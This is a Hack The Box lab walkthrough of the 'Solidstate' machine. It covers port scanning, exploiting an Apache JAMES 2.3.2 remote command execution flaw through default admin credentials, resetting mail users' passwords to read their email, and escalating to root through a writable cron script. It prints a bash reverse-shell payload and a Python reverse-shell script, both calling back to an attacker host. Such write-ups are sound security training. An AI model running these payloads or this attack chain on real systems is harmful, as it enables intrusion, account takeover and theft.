HTB – Solidstate (10.10.10.51)

Portscan

After completing a full port scan and finding 6 open ports. We initiate another nmap scan on these open ports to grab service & version info and to run nmap’s default scripts:

nmap -sSVC -p 22,25,80,110,119,4555 -oA solidstate 10.10.10.51

PORT     STATE SERVICE     VERSION
 22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
 | ssh-hostkey: 
 |   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
 |   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
 |_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
 25/tcp   open  smtp        JAMES smtpd 2.3.2
 |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.4 [10.10.14.4]), 
 80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
 |_http-server-header: Apache/2.4.25 (Debian)
 |_http-title: Home - Solid State Security
 110/tcp  open  pop3        JAMES pop3d 2.3.2
 119/tcp  open  nntp        JAMES nntpd (posting ok)
 4555/tcp open  james-admin JAMES Remote Admin 2.3.2

The version information for ports 25 (SMTP), 110 (POP3), 119 (NNTP), and 4555 show this machine is running Apache JAMES (Java Apache Mail Enterprise Server). This will certainly warrant further exploration and research. However, since port 80 is open let’s first start by exploring the web page. We are greeted with a page for a security company named ‘Solid State Security’.

We try some of the usual checks like looking for /robots.txt, adding solidstate.htb to our /etc/hosts file and checking for virtual hosts but don’t find anything. We move on to running nikto and gobuster but the results are not particularly interesting.

root@kali:~# nikto -h 10.10.10.51
 - Nikto v2.1.6
 Target IP:          10.10.10.51
 Target Hostname:    10.10.10.51
 Target Port:        80 
...
 Server: Apache/2.4.25 (Debian)
 The anti-clickjacking X-Frame-Options header is not present.
 The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 No CGI Directories found (use '-C all' to force check all possible dirs)
 Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
 Server may leak inodes via ETags, header found with file /, inode: 1e60, size: 5610a1e7a4c9b, mtime: gzip
 Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
 OSVDB-3268: /images/: Directory indexing found.
 OSVDB-3092: /LICENSE.txt: License file found may identify site software.
 OSVDB-3233: /icons/README: Apache default file found.
 7863 requests: 0 error(s) and 9 item(s) reported on remote host 
root@kali:~# gobuster dir -x txt,html,php,bak -u http://10.10.10.51 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
...
 /index.html (Status: 200)
 /images (Status: 301)
 /about.html (Status: 200)
 /services.html (Status: 200)
 /assets (Status: 301)
 /README.txt (Status: 200)
 /LICENSE.txt (Status: 200)
 /server-status (Status: 403)

We now turn our attention back to Apache JAMES and run searchsploit to see if there are exploits for any vulnerabilities in the 2.3.2 version.

We see there is a Remote Command Execution vulnerability for Apache James version 2.3.2 ! We examine the python script and review the payload section which by default is only going to print the effective ID and attempt to create a file. We will want to edit this to something that will give us a shell.

In reading through the exploit as well as the Apache James documentation , we see that the default credentials for the remote administrative service on TCP port 4555 is user: root and password: root. If these defaults have been changed we would first need to find valid credentials. We swap out the payload line and replace with a command to give us a reverse shell on port 9999. We then setup a netcat listener on port 9999 and fire the exploit.

payload = 'bash -i >& /dev/tcp/10.10.14.5/9999 0>&1'

The exploit appears to run successfully so the default credentials on the remote administration interface must have worked. Unfortunately, we still do not have a shell as the payload will only be triggered when a user logs in. We will have to find valid credentials for a user on the box. Since we’ve already explored the web page and haven’t found anything useful, we will now turn our attention to the Apache James remote administration interface. We should be able to login to the admin interface on port 4555 with the default credentials.

We use telnet to login to the admin interface and then run the help command to see what we can do.

help 
 Currently implemented commands:
 help                                    display this help
 listusers                               display existing accounts
 countusers                              display the number of existing accounts
 adduser [username] [password]           add a new user
 verify [username]                       verify if specified user exist
 deluser [username]                      delete existing user
 setpassword [username] [password]       sets a user's password
 setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
 showalias [username]                    shows a user's current email alias
 unsetalias [user]                       unsets an alias for 'user'
 setforwarding [username] [emailaddress] forwards a user's email to another email address
 showforwarding [username]               shows a user's current email forwarding
 unsetforwarding [username]              removes a forward
 user [repositoryname]                   change to another user repository
 shutdown                                kills the current JVM (convenient when James is run as a daemon)
 quit                                    close connection

We see that we can list users as well as change their passwords! If we can reset their passwords we could connect via POP3 and read any emails they may have. This is certainly worth exploring as we may be able to find some sensitive information in their emails.

listusers
 Existing accounts 6
 user: james
 user: ../../../../../../../../etc/bash_completion.d
 user: thomas
 user: john
 user: mindy
 user: mailadmin

We see 6 accounts including the one that was created by our exploit script. We will proceed to use the setpassword command to reset the password on the user’s accounts and then try to login as them.

setpassword james Passw0rd 
Password for james reset
setpassword thomas Passw0rd
Password for thomas reset
setpassword john Passw0rd
Password for john reset
setpassword mindy Passw0rd
Password for mindy reset
setpassword mailadmin Passw0rd
Password for mailadmin reset

Now we will telnet to port 110 (POP3) and try to login and retrieve any mail in these accounts. For more information on using telnet with POP3 see this. As we go through the accounts one by one we find the first interesting tidbit in john’s emails.

root@kali:~# telnet 10.10.10.51 110
 Trying 10.10.10.51…
 Connected to 10.10.10.51.
 Escape character is '^]'.
 +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
 USER john
 +OK
 PASS Passw0rd
 +OK Welcome john
 STAT
 +OK 1 743
 RETR 1
 +OK Message follows
 Return-Path: 
 Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: john@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
           for ;
           Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
 From: mailadmin@localhost
 Subject: New Hires access
 John, 
 Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.
 Thank you in advance.
 Respectfully,
 James
 .

It looks like John is supposed to send Mindy credentials so we’ll skip directly to her account and see if we can find them in her emails.

root@kali:~# telnet 10.10.10.51 110
 Trying 10.10.10.51…
 Connected to 10.10.10.51.
 Escape character is '^]'.
 +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
 USER mindy
 +OK
 PASS Passw0rd
 +OK Welcome mindy
 STAT
 +OK 2 1945
 retr 1
 +OK Message follows
 Return-Path: 
 Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: mindy@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
           for ;
           Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
 From: mailadmin@localhost
 Subject: Welcome
 Dear Mindy,
 Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
 We are looking forward to you joining our team and your success at Solid State Security.
 Respectfully,
 James
 .
 retr 2
 +OK Message follows
 Return-Path: 
 Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: mindy@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
           for ;
           Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
 From: mailadmin@localhost
 Subject: Your Access
 Dear Mindy,
 Here are your ssh credentials to access the system. Remember to reset your password after your first login.
 Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
 username: mindy
 pass: P@55W0rd1!2@
 Respectfully,
 James
 .

Bingo! We have Mindy’s SSH credentials which we should be able to use to sign on. As soon as we sign on, it triggers the payload from our earlier exploit and we get a reverse shell on port 9999. As suggested by the emails we read, Mindy’s account appears to be running in a restricted shell so we are limited from doing much of anything when signing in via SSH. Fortunately, our reverse shell that was sent to us via the James exploit is not restricted and we can proceed with enumerating the box and looking for a way to escalate.

Logging into Mindy’s account via SSH
Unrestricted Reverse Shell Running Under Mindy’s Account

We can now run our standard privilege escalation checking scripts like LinEnum.sh. We navigate to the folder where our scripts are located on Kali and then fire up the Python simple HTTP server with: python -m SimpleHTTPServer 80 and then download it on the target box with wget. Once we have LinEnum on our target box we want to launch it with the thorough checks enabled: ./LinEnum.sh -t . Reading through the output there is an interesting python script that is owned by root but we have access to modify it.

Looking at the contents of the python script it appears to be something that root may be running on a regular basis to cleanup the /tmp folder structure.

cat /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

We will overwrite the script with a python reverse shell script and then setup the netcat listener and wait…

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

A few minutes later we are rewarded with a root shell!!!

Lessons Learned

  • Take the time to really read & understand exploit code to see what it does and what dependencies & requirements it has
  • Make sure to run LinEnum with thorough checks enabled (-t) so that it will pickup interesting items like the /opt/tmp.py script in this case.

Links & Resources